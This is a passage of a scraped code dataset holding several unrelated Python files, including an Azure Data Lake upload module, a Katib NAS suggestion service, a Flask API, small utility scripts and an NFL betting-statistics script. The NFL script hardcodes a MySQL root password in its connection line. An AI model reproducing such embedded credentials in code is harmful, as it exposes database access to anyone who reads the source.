number of cores.\n chunksize: int [2**28]\n Number of bytes for a chunk. Large files are split into chunks. Files\n smaller than this number will always be transferred in a single thread.\n buffersize: int [2**22]\n Number of bytes for internal buffer. This block cannot be bigger than\n a chunk and cannot be smaller than a block.\n blocksize: int [2**22]\n Number of bytes for a block. Within each chunk, we write a smaller\n block for each API call. This block cannot be bigger than a chunk.\n client: ADLTransferClient [None]\n Set an instance of ADLTransferClient when finer-grained control over\n transfer parameters is needed. Ignores `nthreads` and `chunksize`\n set by constructor.\n run: bool [True]\n Whether to begin executing immediately.\n overwrite: bool [False]\n Whether to forcibly overwrite existing files/directories. If False and\n remote path is a directory, will quit regardless if any files would be\n overwritten or not. If True, only matching filenames are actually\n overwritten.\n progress_callback: callable [None]\n Callback for progress with signature function(current, total) where\n current is the number of bytes transfered so far, and total is the\n size of the blob, or None if the total size is unknown.\n timeout: int (0)\n Default value 0 means infinite timeout. Otherwise time in seconds before the\n process will stop and raise an exception if transfer is still in progress\n\n See Also\n --------\n azure.datalake.store.transfer.ADLTransferClient\n \"\"\"\n def __init__(self, adlfs, rpath, lpath, nthreads=None, chunksize=2**28,\n buffersize=2**22, blocksize=2**22, client=None, run=True,\n overwrite=False, verbose=False, progress_callback=None, timeout=0):\n\n if client:\n self.client = client\n else:\n self.client = ADLTransferClient(\n adlfs,\n transfer=put_chunk,\n merge=merge_chunks,\n nthreads=nthreads,\n chunksize=chunksize,\n buffersize=buffersize,\n blocksize=blocksize,\n delimiter=None, # TODO: see utils.cs for what is required to support delimiters.\n parent=self,\n verbose=verbose,\n unique_temporary=True,\n progress_callback=progress_callback,\n timeout=timeout)\n self._name = tokenize(adlfs, rpath, lpath, chunksize, blocksize)\n self.rpath = AzureDLPath(rpath)\n self.lpath = lpath\n self._overwrite = overwrite\n existing_files = self._setup()\n \n if existing_files:\n raise FileExistsError('Overwrite was not specified and the following files exist, blocking the transfer operation. Please specify overwrite to overwrite these files during transfer: {}'.format(','.join(existing_files)))\n\n if run:\n self.run()\n\n def save(self, keep=True):\n \"\"\" Persist this upload\n\n Saves a copy of this transfer process in its current state to disk.\n This is done automatically for a running transfer, so that as a chunk\n is completed, this is reflected. Thus, if a transfer is interrupted,\n e.g., by user action, the transfer can be restarted at another time.\n All chunks that were not already completed will be restarted at that\n time.\n\n See methods ``load`` to retrieved saved transfers and ``run`` to\n resume a stopped transfer.\n\n Parameters\n ----------\n keep: bool (True)\n If True, transfer will be saved if some chunks remain to be\n completed; the transfer will be sure to be removed otherwise.\n \"\"\"\n save(self, os.path.join(datadir, 'uploads'), keep)\n\n @staticmethod\n def load():\n \"\"\" Load list of persisted transfers from disk, for possible resumption.\n\n Returns\n -------\n A dictionary of upload instances. The hashes are auto\n generated unique. The state of the chunks completed, errored, etc.,\n can be seen in the status attribute. Instances can be resumed with\n ``run()``.\n \"\"\"\n return load(os.path.join(datadir, 'uploads'))\n\n @staticmethod\n def clear_saved():\n \"\"\" Remove references to all persisted uploads.\n \"\"\"\n if os.path.exists(os.path.join(datadir, 'uploads')):\n os.remove(os.path.join(datadir, 'uploads'))\n\n @property\n def hash(self):\n return self._name\n\n def _setup(self):\n \"\"\" Create set of parameters to loop over\n \"\"\"\n is_path_walk_empty = False\n if \"*\" not in self.lpath:\n lfiles = []\n for directory, subdir, fnames in os.walk(self.lpath):\n lfiles.extend([os.path.join(directory, f) for f in fnames])\n if not subdir and not fnames: # Empty Directory\n self.client._adlfs._emptyDirs.append(directory)\n\n if (not lfiles and os.path.exists(self.lpath) and\n not os.path.isdir(self.lpath)):\n lfiles = [self.lpath]\n is_path_walk_empty = True\n else:\n lfiles = glob.glob(self.lpath)\n \n if len(lfiles) > 0 and not is_path_walk_empty:\n local_rel_lpath = str(AzureDLPath(self.lpath).globless_prefix)\n file_pairs = [(f, self.rpath / AzureDLPath(f).relative_to(local_rel_lpath)) for f in lfiles]\n elif lfiles:\n if self.client._adlfs.exists(self.rpath, invalidate_cache=True) and \\\n self.client._adlfs.info(self.rpath, invalidate_cache=False)['type'] == \"DIRECTORY\":\n file_pairs = [(lfiles[0], self.rpath / AzureDLPath(lfiles[0]).name)]\n else:\n file_pairs = [(lfiles[0], self.rpath)]\n else:\n raise ValueError('No files to upload')\n\n # this property is used for internal validation\n # and should not be referenced directly by public callers\n self._file_pairs = file_pairs\n\n existing_files = []\n for lfile, rfile in file_pairs:\n if not self._overwrite and self.client._adlfs.exists(rfile, invalidate_cache=False):\n existing_files.append(rfile.as_posix())\n else:\n fsize = os.stat(lfile).st_size\n self.client.submit(lfile, rfile, fsize)\n\n return existing_files\n\n def run(self, nthreads=None, monitor=True):\n \"\"\" Populate transfer queue and execute downloads\n\n Parameters\n ----------\n nthreads: int [None]\n Override default nthreads, if given\n monitor: bool [True]\n To watch and wait (block) until completion.\n \"\"\"\n for empty_directory in self.client._adlfs._empty_dirs_to_add():\n local_rel_path = os.path.relpath(empty_directory, self.lpath)\n rel_rpath = str(AzureDLPath(self.rpath).trim().globless_prefix / local_rel_path)\n self.client._adlfs.mkdir(rel_rpath)\n\n self.client.run(nthreads, monitor)\n\n def active(self):\n \"\"\" Return whether the uploader is active \"\"\"\n return self.client.active\n\n def successful(self):\n \"\"\"\n Return whether the uploader completed successfully.\n\n It will raise AssertionError if the uploader is active.\n \"\"\"\n return self.client.successful\n\n def __str__(self):\n return \"<ADL Upload: %s -> %s (%s)>\" % (self.lpath, self.rpath,\n self.client.status)\n\n __repr__ = __str__\n\n\ndef put_chunk(adlfs, src, dst, offset, size, buffersize, blocksize, delimiter=None,\n shutdown_event=None):\n \"\"\" Upload a piece of a local file\n\n Internal function used by `upload`.\n \"\"\"\n nbytes = 0\n try:\n with adlfs.open(dst, 'wb', blocksize=buffersize, delimiter=delimiter) as fout:\n end = offset + size\n miniblock = min(size, blocksize)\n # For empty files there is no need to take the IO hit.\n if size != 0:\n with open(src, 'rb') as fin:\n for o in range(offset, end, miniblock):\n if shutdown_event and shutdown_event.is_set():\n return nbytes, None\n data = read_block(fin, o, miniblock, delimiter)\n nbytes += fout.write(data)\n \n except Exception as e:\n exception = repr(e)\n logger.error('Upload failed %s; %s', src, exception)\n return nbytes, exception\n logger.debug('Uploaded from %s, byte offset %s', src, offset)\n return nbytes, None\n\n\ndef merge_chunks(adlfs, outfile, files, shutdown_event=None, overwrite=False):\n try:\n # note that it is assumed that only temp files from this run are in the segment folder created.\n # so this call is optimized to instantly delete the temp folder on concat.\n # if somehow the target file was created between the beginning of upload\n # and concat, we will remove it if the user specified overwrite.\n # here we must get the most up to date information from the service,\n # instead of relying on the local cache to ensure that we know if\n # the merge target already exists.\n if adlfs.exists(outfile, invalidate_cache=True):\n if overwrite:\n adlfs.remove(outfile, True)\n else:\n raise FileExistsError(outfile)\n\n adlfs.concat(outfile, files, delete_source=True)\n except Exception as e:\n exception = repr(e)\n logger.error('Merged failed %s; %s', outfile, exception)\n return exception\n logger.debug('Merged %s', outfile)\n adlfs.invalidate_cache(outfile)\n return None\n","repo_name":"Azure/azure-data-lake-store-python","sub_path":"azure/datalake/store/multithread.py","file_name":"multithread.py","file_ext":"py","file_size_in_byte":25342,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"47"} +{"seq_id":"30306434232","text":"from PIL import Image\nimport os\n\n\ndef scale_image(input_image_path,\n output_image_path,\n width=None,\n height=None\n ):\n original_image = Image.open(input_image_path)\n w, h = original_image.size\n\n if width and height:\n max_size = (width, height)\n elif width:\n max_size = (width, h)\n elif height:\n max_size = (w, height)\n else:\n print(\"Не существует картинки\")\n raise SystemExit\n\n original_image.thumbnail(max_size, Image.ANTIALIAS)\n original_image.save(output_image_path)\n\n\na = int(input(\"Насколько изменить размер избражений: \"))\n\nos.chdir(\"Недоделаные смена фона\")\ntmp = os.getcwd()\ntest = os.listdir(tmp)\nos.chdir(\"..\")\nfor item in test:\n scale_image(input_image_path=f'Недоделаные смена фона/{item}',\n output_image_path=f'Сделаные смена фона/{item}',\n width=a)","repo_name":"supergreymaster/Battle_of_territory","sub_path":"Дополнительные программы/программа для уменьшения размера.py","file_name":"программа для уменьшения размера.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"18245211378","text":"#!/usr/bin/env python3\n# coding: utf-8\n\n# Time complexity: O()\n# Space complexity: O()\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def inorderSuccessor(self, root: 'TreeNode', p: 'TreeNode') -> 'TreeNode':\n\n cur = root\n found = False\n stack = []\n while cur or stack:\n while cur:\n stack.append(cur)\n cur = cur.left\n cur = stack.pop()\n if found:\n return cur\n if cur.val == p.val:\n found = True\n cur = cur.right\n\n return None\n\n\nclass Solution:\n def inorderSuccessor(self, root: 'TreeNode', p: 'TreeNode') -> 'TreeNode':\n\n _next = None\n while root:\n if root.val > p.val:\n _next = root\n root = root.left\n else:\n root = root.right\n\n return _next","repo_name":"zihuaweng/leetcode-solutions","sub_path":"leetcode_python/285.Inorder_Successor_in_BST.py","file_name":"285.Inorder_Successor_in_BST.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"9692611782","text":"import grpc\nfrom pkg.api.v1alpha1.python import api_pb2\nfrom pkg.api.v1alpha1.python import api_pb2_grpc\nimport logging\nimport json\nfrom pkg.suggestion.v1alpha1.NAS_Envelopenet.operation import SearchSpace\nfrom pkg.suggestion.v1alpha1.NAS_Envelopenet.suggestion_param import parseSuggestionParam\nfrom pkg.suggestion.v1alpha1.NAS_Envelopenet.nac_gen import NAC\n\nclass EnvelopenetService(api_pb2_grpc.SuggestionServicer):\n def __init__(self):\n self.manager_addr = \"vizier-core\"\n self.manager_port = 6789\n self.current_study_id = \"\"\n self.current_trial_id = \"\"\n self.ctrl_cache_file = \"\"\n self.is_first_run = True\n self.current_itr=0\n logging.basicConfig(level=logging.INFO)\n self.logger = logging.getLogger(\"Suggestion\")\n\n def generate_arch(self, request):\n self.current_study_id = request.study_id\n self.current_trial_id = \"\"\n self._get_search_space(request.study_id)\n self._get_suggestion_param(request.param_id)\n self.restruct_itr=self.suggestion_config[\"iterations\"]\n self.generator = NAC(\n self.search_space)\n \n \n def GetSuggestions(self, request, context):\n if request.study_id != self.current_study_id:\n self.generate_arch(request)\n \n if self.current_itr==0:\n self.arch=self.generator.get_init_arch()\n elif self.current_itr<=self.restruct_itr:\n result = self.GetEvaluationResult(request.study_id, self.prev_trial_id)\n self.arch=self.generator.get_arch(self.arch, result)\n \n self.logger.info(\"Architecture at itr={}\".format(self.current_itr))\n self.logger.info(self.arch)\n arch_json=json.dumps(self.arch)\n config_json=json.dumps(self.suggestion_config)\n arch=str(arch_json).replace('\\\"', '\\'')\n config=str(config_json).replace('\\\"', '\\'') \n \n trials = []\n trials.append(api_pb2.Trial(\n study_id=request.study_id,\n parameter_set=[\n api_pb2.Parameter(\n name=\"architecture\",\n value=arch,\n parameter_type= api_pb2.CATEGORICAL),\n api_pb2.Parameter(\n name=\"parameters\",\n value=config,\n parameter_type= api_pb2.CATEGORICAL),\n api_pb2.Parameter(\n name=\"current_itr\",\n value=str(self.current_itr),\n parameter_type= api_pb2.CATEGORICAL)\n ], \n )\n )\n\n channel = grpc.beta.implementations.insecure_channel(self.manager_addr, self.manager_port)\n with api_pb2.beta_create_Manager_stub(channel) as client:\n for i, t in enumerate(trials):\n ctrep = client.CreateTrial(api_pb2.CreateTrialRequest(trial=t), 10)\n trials[i].trial_id = ctrep.trial_id\n self.prev_trial_id = ctrep.trial_id\n\n self.current_itr+=1\n\n return api_pb2.GetSuggestionsReply(trials=trials)\n\n def GetEvaluationResult(self, studyID, trialID):\n worker_list = []\n channel = grpc.beta.implementations.insecure_channel(self.manager_addr, self.manager_port)\n with api_pb2.beta_create_Manager_stub(channel) as client:\n gwfrep = client.GetWorkerFullInfo(api_pb2.GetWorkerFullInfoRequest(study_id=studyID, trial_id=trialID, only_latest_log=False), 10)\n worker_list = gwfrep.worker_full_infos\n for w in worker_list:\n if w.Worker.status == api_pb2.COMPLETED:\n for ml in w.metrics_logs:\n if ml.name == self.objective_name:\n samples=self.get_featuremap_statistics(ml) \n return samples\n\n \n def _get_search_space(self, studyID):\n\n channel = grpc.beta.implementations.insecure_channel(self.manager_addr, self.manager_port)\n with api_pb2.beta_create_Manager_stub(channel) as client:\n gsrep = client.GetStudy(api_pb2.GetStudyRequest(study_id=studyID), 10)\n\n self.objective_name = gsrep.study_config.objective_value_name\n all_params = gsrep.study_config.nas_config\n graph_config = all_params.graph_config\n search_space_raw = all_params.operations\n\n self.stages = int(graph_config.num_layers)\n self.input_size = list(map(int, graph_config.input_size))\n self.output_size = list(map(int, graph_config.output_size))\n search_space_object = SearchSpace(search_space_raw)\n self.search_space = search_space_object.search_space\n self.search_space.update({\"stages\":self.stages})\n self.logger.info(\"Search Space: {}\".format(self.search_space))\n \n def _get_suggestion_param(self, paramID):\n channel = grpc.beta.implementations.insecure_channel(self.manager_addr, self.manager_port)\n with api_pb2.beta_create_Manager_stub(channel) as client:\n gsprep = client.GetSuggestionParameters(api_pb2.GetSuggestionParametersRequest(param_id=paramID), 10)\n \n params_raw = gsprep.suggestion_parameters\n suggestion_params = parseSuggestionParam(params_raw)\n self.suggestion_config = suggestion_params\n self.suggestion_config.update({\"input_size\":self.input_size[0]})\n self.suggestion_config.update({\"output_size\":self.output_size[0]})\n self.search_space.update({\"max_layers_per_stage\":self.suggestion_config[\"max_layers_per_stage\"]})\n self.logger.info(\"Suggestion Config: {}\".format(self.suggestion_config))\n\n def get_featuremap_statistics(self, metric_object):\n samples=list()\n for i in range(len(metric_object.values)):\n samples.append(metric_object.values[i].value)\n return samples\n","repo_name":"goodluckbot/katib","sub_path":"pkg/suggestion/v1alpha1/nasenvelopenet_service.py","file_name":"nasenvelopenet_service.py","file_ext":"py","file_size_in_byte":5876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"21045218928","text":"from flask import request, jsonify\nfrom app import app\n\nimport json\nfrom datetime import datetime, timedelta\n\n# Models\nfrom app.models import Entry\n\n# DB\nfrom app import db\n\n# fetch all entries \n@app.route('/', methods=['GET'])\ndef entry_bundle():\n\n bundle = Entry.query.all()\n response = [e.serialize() for e in bundle] \n return jsonify(response), 200\n\n# Fetch entries in the last 30 days\n@app.route('/month', methods=['GET'])\ndef fetch_data():\n\n filter_30_days = datetime.now() - timedelta(days = 30)\n bundle = Entry.query.filter(Entry.date >= filter_30_days).all()\n response = [e.serialize() for e in bundle] \n return jsonify(response), 200\n\n# Post entry\n@app.route('/', methods=['POST'])\ndef add_entry():\n \n data = request.get_json()\n entry = Entry(humidity=data['humidity'], temp=data['temp'], fan_state=data['fan_state'], pump_state=data['pump_state'], light_state=data['light_state'])\n db.session.add(entry) \n db.session.commit()\n\n return jsonify({'message' : 'New entry created!'}), 201","repo_name":"coaalst/fatman-db-service","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"410231533","text":"from time import sleep\r\n\r\nnumero = int(input('Digite até que número voce deseja contar: '))\r\ninicio = int(input('Digite a partir de que número voce deseja contar: '))\r\ncontagem = int(input('Digite de quantos em quantos números voce deseja contar: '))\r\nprint('')\r\n\r\nif (inicio < numero):\r\n cont = inicio\r\n while cont <= numero:\r\n print(f'{cont} ', end='', flush=False)\r\n sleep(0.5)\r\n cont += contagem\r\n print('FIM')\r\nelse: \r\n cont = inicio\r\n while cont >= numero:\r\n print(f'{cont} ', end='', flush=False)\r\n sleep(0.5)\r\n cont -= contagem\r\n print('FIM')","repo_name":"MuriloCSilva/Python-Exercises","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"25794155682","text":"from enum import Enum\nfrom loguru import logger\n\n\nPROTOCOL = \"РКСОК/1.0\"\nENCODING = \"UTF-8\"\nPHONEBOOKFILESPATH = 'phonebook'\n\n\nlogger.add('RKSOK_logs.log',\n format='{time}, {level}, {message}',\n level='INFO',\n enqueue=True, rotation='1 week', compression='zip')\n\n\nclass RequestVerb(str, Enum):\n \"\"\"Verbs specified in RKSOK specs for requests\"\"\"\n GET = \"ОТДОВАЙ\"\n DELETE = \"УДОЛИ\"\n WRITE = \"ЗОПИШИ\"\n CHECK = \"АМОЖНА?\"\n\n\nclass ResponseStatus(str, Enum):\n \"\"\"Response statuses specified in RKSOK specs for responses\"\"\"\n OK = \"НОРМАЛДЫКС\"\n NOTFOUND = \"НИНАШОЛ\"\n APPROVED = \"МОЖНА\"\n NOT_APPROVED = \"НИЛЬЗЯ\"\n INCORRECT_REQUEST = \"НИПОНЯЛ\"\n\n\n'''Information about regulatory agent for RKSOK protocol'''\nREG_HOST = 'vragi-vezde.to.digital'\nREG_PORT = 51624\nREG_PREFIX = 'АМОЖНА? РКСОК/1.0\\r\\n'\n\n\n'''Server configuration'''\nHOST = '0.0.0.0'\nPORT = 8888\nFOLDERPATH = 'phonebook'\n","repo_name":"Gvgeorge/R-K-S-O-K","sub_path":"conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41054748811","text":"# --------------------------------------------------------\n# https://programmers.co.kr/learn/courses/30/lessons/42586\n# by riadjj@gmail.com\n# --------------------------------------------------------\n\nimport math\nfrom collections import deque\n\n# progresses = [93, 30, 55]\n# speeds = [1, 30, 5]\n\nprogresses = [95, 90, 99, 99, 80, 99]\t\nspeeds = [1, 1, 1, 1, 1, 1]\n\nanswer = []\n\nresult = deque()\n\nfor i in range(len(progresses)) : \n result.append( math.ceil((100 - progresses[i])/speeds[i]) )\n\n# 큐로 뽑자~!\nn, count = -1, 0\nwhile 1 :\n if n == -1:\n n = result.popleft()\n count += 1\n\n if len(result) == 0 :\n answer.append(count)\n break\n elif n < result[0] :\n answer.append(count)\n n = -1\n count = 0\n else :\n result.popleft()\n count += 1\n\nprint(answer)\n\n","repo_name":"riadjj/programmers_practice","sub_path":"lv2/기능개발.py","file_name":"기능개발.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30904523456","text":"import csv\nimport mysql.connector\nfrom columns import *\nimport pandas as pd\n\nmydb = mysql.connector.connect(host='localhost', user='root', password='xT3_N6aR#9$', database=\"gambledb\")\nmycurser = mydb.cursor() #communicates with mysql database\n\n# mycurser.execute(\"CREATE TABLE ml_week_by_week (teamname VARCHAR(255), ave_1q_score FLOAT (10))\")#create table\n#\n# sqlFormula = \"INSERT INTO ml_week_by_week (teamname, ave_1q_score) VALUES (%s, %s)\"\n# weeks = [\n# (1,0),\n# (2,0),\n# (3,0),\n# (4,0),\n# (5,0),\n# (6,0),\n# (7,0),\n# (8,0),\n# (9,0),\n# (10,0),\n# (11,0),\n# (12,0),\n# (13,0),\n# (14,0),\n# (15,0),\n# (16, 0),\n# (17, 0),\n# (18, 0),\n# (19, 0),\n# (20, 0),\n# (21, 0),\n# ]\n# teams = [\n# ('Arizona Cardinals', 0,0,0),\n# ('Atlanta Falcons', 0,0,0),\n# ('Baltimore Ravens', 0,0,0),\n# ('Buffalo Bills', 0,0,0),\n# ('Carolina Panthers', 0,0,0),\n# ('Chicago Bears', 0,0,0),\n# ('Cincinnati Bengals', 0,0,0),\n# ('Cleveland Browns', 0,0,0),\n# ('Dallas Cowboys', 0,0,0),\n# ('Denver Broncos', 0,0,0),\n# ('Detroit Lions', 0,0,0),\n# ('Green Bay Packers', 0,0,0),\n# ('Houston Texans', 0,0,0),\n# ('Indianapolis Colts', 0,0,0),\n# ('Jacksonville Jaguars', 0,0,0),\n# ('Kansas City Chiefs', 0,0,0),\n# ('Los Angeles Chargers', 0,0,0),\n# ('Los Angeles Rams', 0,0,0),\n# ('Miami Dolphins', 0,0,0),\n# ('Minnesota Vikings', 0,0,0),\n# ('New England Patriots', 0,0,0),\n# ('New Orleans Saints', 0,0,0),\n# ('New York Giants', 0,0,0),\n# ('New York Jets', 0,0,0),\n# ('Oakland Raiders', 0,0,0),\n# ('Philadelphia Eagles', 0,0,0),\n# ('Pittsburgh Steelers', 0,0,0),\n# ('San Francisco 49ers', 0,0,0),\n# ('Seattle Seahawks', 0,0,0),\n# ('Tampa Bay Buccaneers', 0,0,0),\n# ('Tennessee Titans', 0,0,0),\n# ('Washington Redskins', 0,0,0),\n# ]\n\n#mycurser.executemany(sqlFormula,weeks)\n# mycurser.execute(\"ALTER TABLE ml_week_by_week MODIFY COLUMN ave_1q_score FLOAT\")\n\nx=0\n#mycurser.execute(\"ALTER TABLE ml_week_by_week DROP COLUMN ave_penalty_yrds\")\n# mycurser.execute(\"ALTER TABLE ml_week_by_week ADD ml_score_q4_dog FLOAT(10) after ml_score_q4_fav\")\n# mycurser.execute(\"UPDATE ml_week_by_week SET ml_score_q4_dog = 0\")\n# mydb.commit()\n\n#62 columns\ndef main():\n team_arr = []\n\n mycurser.execute(\"SELECT * FROM ml_week_by_week\")\n result = mycurser.fetchall()\n for row in result:\n team_arr.append(list(row)) #double list\n\n data = pd.read_csv(\"NO-TITLE-2019-NFL-Stats.csv\")\n\n # with open('NO-TITLE-2019-NFL-Stats.csv', newline='') as csvfile:\n # reader = csv.reader(csvfile, delimiter=',')\n # for column in reader: #Reads each column. Start by reading 2nd line\n # columns(column)\n # for week in team_arr:\n # if week[0] == game_week:\n # x=1\n # #weekly_leading_at_quarters(week, column, ml, team_score, opponent_score, q1, q2, q3, team_arr)\n #\n # if int(ml) < 0: #negative/favorite\n # money_won = round(100 * (100/abs(int(ml))), 2)\n # money_lost = -100\n # if int(team_score) > int(opponent_score):\n # week[28] += money_won\n # else:\n # week[28] += money_lost\n #\n # else: #positive/dog\n # money_won = round(100 * (int(ml)/100), 2)\n # money_lost = -100\n # if int(team_score) > int(opponent_score):\n # week[29] += money_won\n # else:\n # week[29] += money_lost\n #\n # week[28] = round(week[28], 2)\n # week[29] = round(week[29], 2)\n #\n # print(type(team_arr))\n # for each in team_arr:\n # #each[25] = round(each[25] / each[1],1)\n # # sql = \"UPDATE ml_week_by_week SET ml_fav_profit = %s, ml_dog_profit = %s WHERE teamname = %s\"\n # # input = (each[28], each[29], each[0])\n # # mycurser.execute(sql, input)\n # # mydb.commit()\n # print(each)\n\n\n\n return 0\n\ndef read_game_by_game(team_arr):\n with open(\"2019-NFL-Stats.csv\", 'r') as file:\n\n matchup = []\n\n for i in range(2): #read 2 files\n matchup.append(file.readline())\n #do something\n\n # leading @ q1 (fav,dogs) (30,31)\n # ML (fav,dogs) (32,33)\n\n # leading @ HT (fav,dogs) (34,35)\n # ML (fav,dogs) (36,37)\n # scoring more in q2 (fav,dogs) (38,39)\n # ML (fav,dogs) (40,41)\n\n # leading @ Q3 (fav,dogs) (42,43)\n # ML (fav,dogs) (44,45)\n # scoring more in q3 (fav,dogs) (46,47)\n # ML (fav,dogs) (48,49)\n\n # scoring more in q2 (fav,dogs) (50,51)\n # ML (fav,dogs) (52,53)\n return\n\n# #average team trends\ndef mov(column, team, team_score, opponent_score):\n if column[3] == str(1):\n team[2] = 0\n\n team[1] += int(team_score) - int(opponent_score)\n team[2] += 1\n\n #team[1] = round(team[1] / team[2],1)\n\ndef ats(column, team, team_score, opponent_score, spread): #average points team covers the spread by +-\n if column[3] == str(1):\n team[1] = 0\n\n diff = int(team_score) - int(opponent_score)\n team[2] += diff + float(spread)\n team[1] += 1\n\n # each[3] = round(each[2] / each[1], 1)\n\ndef average_home_away_score(column, team, home_v_away, team_score):\n if column[3] == str(1):\n team[1] = 0\n team[2] = 0\n\n if home_v_away == \"Home\":\n team[4] += int(team_score)\n team[1] += 1\n else:\n team[5] += int(team_score)\n team[2] += 1\n\n # each[4] = round(each[4] / each[1], 1)\n # each[5] = round(each[5] / each[2], 1)\n\n\ndef average_ou_home_away(column, team, ou, opponent_score, team_score, home_v_away):\n if column[3] == str(1):\n team[1] = 0\n team[2] = 0\n team[3] = 0\n team[4] = 0\n\n if home_v_away == \"Home\":\n if float(ou) < int(opponent_score) + int(team_score): #over\n team[8] += int(team_score)\n team[1] += 1\n else: #under\n team[10] += int(team_score)\n team[2] += 1\n else:\n if float(ou) < int(opponent_score) + int(team_score): #over\n team[9] += int(team_score)\n team[3] += 1\n else: #under\n team[11] += int(team_score)\n team[4] += 1\n\n # each[8] = round(each[8] / each[1], 1)\n # each[9] = round(each[9] / each[3], 1)\n # each[10] = round(each[10] / each[2], 1)\n # each[11] = round(each[11] / each[4], 1)\n\ndef average_score_when_last_game_is_ou(column, team, ou, opponent_score, team_score):\n if column[3] == str(1):\n team[1] = \"N\" # prev game over (O, U, N)\n team[2] = 0 # number of games with the previous game going over\n team[4] = 0 # number of games with the previous game going under\n\n if float(ou) < int(opponent_score) + int(team_score): # over\n team[1] = \"O\"\n else: # under\n team[1] = \"U\"\n\n else:\n if team[1] == \"O\": # if previous game was over\n team[12] += int(team_score)\n team[2] += 1\n\n else: # if previous game was under\n team[13] += int(team_score)\n team[4] += 1\n\n if float(ou) < int(opponent_score) + int(team_score): # over\n team[1] = \"O\"\n else: # under\n team[1] = \"U\"\n\n # each[12] = round(each[12] / each[2], 1)\n # each[13] = round(each[13] / each[4], 1)\n\ndef average_spread_when_spread_wl(column, team_score, opponent_score, spread, team):\n if column[3] == str(1):\n team[1] = 0\n team[2] = 0\n\n diff = int(team_score) - int(opponent_score)\n if diff > -float(spread):\n team[14] += float(spread)\n team[1] += 1\n\n elif diff < -float(spread):\n team[15] += float(spread)\n team[2] += 1\n\n # each[14] = round(each[14] / each[1], 1)\n # each[15] = round(each[15] / each[2], 1)\n\ndef ave_spread_under_fav(column, team, spread):\n if column[3] == str(1):\n team[1] = 0\n team[2] = 0\n\n if float(spread) < 0: #favorite\n team[19] += float(spread)\n team[2] += 1\n\n else: #dog\n team[18] += float(spread)\n team[1] += 1\n\n\n # if each[18] != 0:\n # each[18] = round(each[18] / each[1], 1)\n # if each[19] != 0:\n # each[19] = round(each[19] / each[2], 1)\ndef ave_spread_fav_und_when_win_loss(column, team, team_score, opponent_score, spread):\n if column[3] == str(1):\n team[1] = 0\n team[2] = 0\n team[3] = 0\n team[4] = 0\n\n diff = int(team_score) - int(opponent_score)\n if float(spread) < 0: # favorite\n if diff > -float(spread): # won\n team[22] += float(spread)\n team[3] += 1\n\n elif diff < -float(spread): # loss\n team[23] += float(spread)\n team[4] += 1\n else: # dog\n if diff > -float(spread): # won\n team[20] += float(spread)\n team[1] += 1\n\n elif diff < -float(spread): # loss\n team[21] += float(spread)\n team[2] += 1\n # if each[20] != 0:\n # each[20] = round(each[20] / each[1], 1)\n # if each[21] != 0:\n # each[21] = round(each[21] / each[2], 1)\n # if each[22] != 0:\n # each[22] = round(each[22] / each[3], 1)\n # if each[23] != 0:\n # each[23] = round(each[23] / each[4], 1)\ndef ave_over_under_when_over_under_hits(column, team, team_score, opponent_score, ou):\n if column[3] == str(1):\n team[1] = 0 # 24 average o/u per game\n team[2] = 0 # 25 average o when o hit\n team[3] = 0 # 26 average u when u hit\n team[4] = 0 # 27 average o when team wins\n team[5] = 0 # 28 average o when team losses\n team[6] = 0 # 29 average u when team wins\n team[7] = 0 # 30 average u when team losses\n\n diff = int(team_score) + int(opponent_score)\n team[24] += float(ou)\n team[1] += 1\n if float(ou) < diff: # over\n team[25] += diff\n team[2] += 1\n\n if int(team_score) > int(opponent_score): # won\n team[27] += diff\n team[4] += 1\n else: # loss\n team[28] += diff\n team[5] += 1\n\n else: # under\n team[26] += diff\n team[3] += 1\n\n if int(team_score) > int(opponent_score): # won\n team[29] += diff\n team[6] += 1\n else: # loss\n team[30] += diff\n team[7] += 1\n # each[24] = round(each[24] / each[1], 1)\n # each[25] = round(each[25] / each[2], 1)\n # each[26] = round(each[26] / each[3], 1)\n # each[27] = round(each[27] / each[4], 1)\n # each[28] = round(each[28] / each[5], 1)\n # each[29] = round(each[29] / each[6], 1)\n # each[30] = round(each[30] / each[7], 1)\n\n#week by week stats\ndef weekly_trends(week, column, ml, team_score, opponent_score):\n week[2] += float(column[6])\n week[3] += float(column[7])\n week[4] += float(column[6]) + float(column[7])\n week[5] += float(column[8])\n week[6] += float(column[9])\n if column[10] != '':\n week[7] += int(column[10])\n week[8] += float(column[11])\n week[9] += float(column[13])\n week[10] += float(column[14])\n week[11] += float(column[15])\n week[12] += float(column[16])\n week[13] += float(column[17])\n week[14] += float(column[18])\n week[15] += float(column[19])\n week[16] += float(column[20])\n week[17] += float(column[21])\n week[18] += float(column[22])\n week[19] += float(column[24])\n week[20] += float(column[25])\n week[21] += float(column[28])\n week[22] += float(column[29])\n week[23] += float(column[30])\n week[24] += float(column[35])\n week[25] += float(column[36])\n\n if int(ml) < 0: # negative/favorite\n money_won = round(100 * (100 / abs(int(ml))), 2)\n money_lost = -100\n if int(team_score) > int(opponent_score):\n week[28] += money_won\n else:\n week[28] += money_lost\n\n else: # positive/dog\n money_won = round(100 * (int(ml) / 100), 2)\n money_lost = -100\n if int(team_score) > int(opponent_score):\n week[29] += money_won\n else:\n week[29] += money_lost\n\n week[28] = round(week[28], 2)\n week[29] = round(week[29], 2)\n return\n\n\n\nif __name__ == \"__main__\":\n 